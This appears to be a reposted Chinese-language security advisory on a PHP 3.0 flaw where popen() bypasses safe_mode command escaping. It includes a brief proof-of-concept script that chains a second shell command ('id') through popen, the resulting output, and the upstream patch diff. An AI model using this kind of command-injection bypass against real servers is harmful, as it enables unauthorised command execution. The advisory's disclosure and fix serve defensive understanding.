PHP3 safe_mode 失效漏洞


Posted in PHP onOctober 09, 2006

受影响的系统:  PHP 3.00  
--------------------------------------------------------------------------------
描述:

    PHP Version 3.0是一个HTML嵌入式脚本语言。其大多数语法移植于C、Java和Perl并结合了
PHP的特色。这个语言可以让web开发者快速创建动态网页。

    因其执行在web服务器上并允许用户执行代码,PHP内置了称为'safe_mode'的安全特性,
用于控制在允许PHP操作的webroot环境中执行命令。

    其实现机制是通过强制执行shell命令的系统调用将shell命令传送到EscapeShellCmd()
函数,此函数用于确认在webroot目录外部不能执行命令。

    在某些版本的PHP中,使用popen()命令时EscapeShellCmd()却失效了,造成恶意用户可
以利用'popen'系统调用进行非法操作。

--------------------------------------------------------------------------------
测试程序:

警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp<br>n";
while($line = fgets($fp, 1024)):
printf("%s<br>n", $line);
endwhile;
pclose($fp);
phpinfo();
?>

输出结果如下:

1
total 53  
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls  
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)  
and from the configuration values of phpinfo():
safe_mode 0 1  

--------------------------------------------------------------------------------
建议:  
Index: functions/file.c
===================================================================
RCS file: /repository/php3/functions/file.c,v
retrieving revision 1.229
retrieving revision 1.230
diff -u -r1.229 -r1.230
--- functions/file.c 2000/01/01 04:31:15 1.229
+++ functions/file.c 2000/01/03 21:31:31 1.230
@@ -26,7 +26,7 @@
| Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca> |
+----------------------------------------------------------------------+
*/
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
+/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
#include "php.h"
#include <stdio.h>
@@ -51,6 +51,7 @@
#include "safe_mode.h"
#include "php3_list.h"
#include "php3_string.h"
+#include "exec.h"
#include "file.h"
#if HAVE_PWD_H
#if MSVC5

@@ -575,7 +576,7 @@
pval *arg1, *arg2;
FILE *fp;
int id;
- char *p;
+ char *p, *tmp = NULL;
char *b, buf[1024];
TLS_VARS;

@@ -600,7 +601,11 @@
} else {
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
}

- fp = popen(buf,p);

+
+ tmp = _php3_escapeshellcmd(buf);
+ fp = popen(tmp,p);
+ efree(tmp); /* temporary copy, no longer necessary */
+
if (!fp) {
php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));
RETURN_FALSE;  

PHP 相关文章推荐
PHP无刷新上传文件实现代码
Sep 19 PHP
php简单开启gzip压缩方法(zlib.output_compression)
Apr 13 PHP
PHP array_multisort() 函数的深入解析
Jun 20 PHP
PHP SPL使用方法和他的威力
Nov 12 PHP
PHP字符串的递增和递减示例介绍
Feb 11 PHP
php获取指定(访客)IP所有信息(地址、邮政编码、国家、经纬度等)的方法
Jul 06 PHP
详解PHP中的null合并运算符
Dec 30 PHP
Yii2框架制作RESTful风格的API快速入门教程
Nov 08 PHP
PHP/HTML混写的四种方式总结
Feb 27 PHP
thinkPHP框架实现图像裁剪、缩放、加水印的方法
Mar 14 PHP
使用PHPStorm+XDebug搭建单步调试环境
Nov 19 PHP
laravel框架实现后台登录、退出功能示例
Oct 31 PHP
vBulletin HACK----关于排版的两个HACK
Oct 09 #PHP
PHP+APACHE实现用户论证的方法
Oct 09 #PHP
从C/C++迁移到PHP——判断字符类型的函数
Oct 09 #PHP
PHP实现图片简单上传
Oct 09 #PHP
在线增减.htpasswd内的用户
Oct 09 #PHP
将OICQ数据转成MYSQL数据
Oct 09 #PHP
PHP中一个控制字符串输出的函数
Oct 09 #PHP
You might like
关于使用key/value数据库redis和TTSERVER的心得体会
2013/06/28 PHP
IOS 开发之NSDictionary转换成JSON字符串
2017/08/14 PHP
JavaScript静态的动态
2006/09/18 Javascript
执行iframe中的javascript方法
2008/10/07 Javascript
IE event.srcElement和FF event.target 功能比较
2010/03/01 Javascript
node.js chat程序如何实现Ajax long-polling长链接刷新模式
2012/03/13 Javascript
jquery入门—编写一个导航条(可伸缩)
2013/01/07 Javascript
js对象与打印对象分析比较
2013/04/23 Javascript
js函数定时器实现定时读取系统实时连接数
2014/04/30 Javascript
javascript跨域的方法汇总
2015/10/23 Javascript
基于JavaScript判断浏览器到底是关闭还是刷新(超准确)
2016/02/01 Javascript
JavaScript解八皇后问题的方法总结
2016/06/12 Javascript
bootstrap flask登录页面编写实例
2016/11/01 Javascript
微信小程序 地图map详解及简单实例
2017/01/10 Javascript
玩转Koa之koa-router原理解析
2018/12/29 Javascript
JS实现json数组排序操作实例分析
2019/10/28 Javascript
vue解决使用$http获取数据时报错的问题
2019/10/30 Javascript
使用vuex存储用户信息到localStorage的实例
2019/11/11 Javascript
ckeditor一键排版功能实现方法分析
2020/02/06 Javascript
element-ui封装一个Table模板组件的示例
2021/01/04 Javascript
Python文件操作类操作实例详解
2014/07/11 Python
在Python中操作日期和时间之gmtime()方法的使用
2015/05/22 Python
解决python2.7用pip安装包时出现错误的问题
2017/01/23 Python
python set集合使用方法解析
2019/11/05 Python
Jupyter notebook 启动闪退问题的解决
2020/04/13 Python
3种适用于Python的疯狂秘密武器及原因解析
2020/04/29 Python
OpenCV利用python来实现图像的直方图均衡化
2020/10/21 Python
python定时截屏实现
2020/11/02 Python
HTML5中微数据概述及在搜索引擎中的使用举例
2013/02/07 HTML / CSS
与UNIX有关的几个名词
2015/09/17 面试题
测试工程师岗位职责
2013/11/28 职场文书
毕业自我鉴定书
2014/03/24 职场文书
技术支持岗位职责
2015/02/13 职场文书
工作违纪的检讨书范文
2019/07/09 职场文书
Nginx 负载均衡是什么以及该如何配置
2021/03/31 Servers
分享几个简单MySQL优化小妙招
2022/03/31 MySQL